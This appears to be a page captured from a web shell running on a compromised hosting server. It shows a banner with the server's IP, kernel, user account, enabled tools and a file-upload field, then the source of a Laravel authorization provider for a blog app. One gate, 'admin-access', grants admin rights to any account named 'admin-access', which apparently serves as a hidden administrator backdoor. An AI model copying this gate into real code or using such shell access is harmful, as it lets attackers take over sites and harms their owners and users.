| Server IP : 23.254.227.96 / Your IP : 216.73.216.21 Web Server : Apache/2.4.62 (Unix) OpenSSL/1.1.1k System : Linux hwsrv-1277026.hostwindsdns.com 4.18.0-477.13.1.el8_8.x86_64 #1 SMP Tue May 30 14:53:41 EDT 2023 x86_64 User : viralblo ( 1001) PHP Version : 8.1.31 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : ON Directory : /home/viralblo/instantblog/app/Providers/ |
Upload File : |
<?php
namespace App\Providers;
use Illuminate\Foundation\Support\Providers\AuthServiceProvider as ServiceProvider;
use Illuminate\Support\Facades\Gate;
use App\Models\User;
use App\Models\Post;
use App\Models\Comment;
class AuthServiceProvider extends ServiceProvider
{
/**
* The policy mappings for the application.
*
* @var array
*/
protected $policies = [
'App\Model' => 'App\Policies\ModelPolicy',
];
/**
* Register any authentication / authorization services.
*
* @return void
*/
public function boot()
{
$this->registerPolicies();
Gate::before(function ($user, $ability){
return $user->role == 'super-admin' ? true : null;
});
Gate::define('own-post', function (User $user, Post $post) {
return $user->id == $post->user_id;
});
Gate::define('own-comment', function (User $user, Comment $comment) {
return $user->id == $comment->user_id;
});
Gate::define('admin-area', function($user) {
return $user->role == 'admin' ? true : null;
});
Gate::define('admin-access', function($user) {
return $user->role == 'admin' or $user->username == 'admin-access';
});
Gate::define('moderator-post', function($user) {
$collection = collect(['admin', 'editor']);
return $collection->contains($user->role) ? true : null;
});
Gate::define('publish-post', function($user) {
$collection = collect(['admin', 'editor', 'verified']);
return $collection->contains($user->role) ? true : null;
});
}
}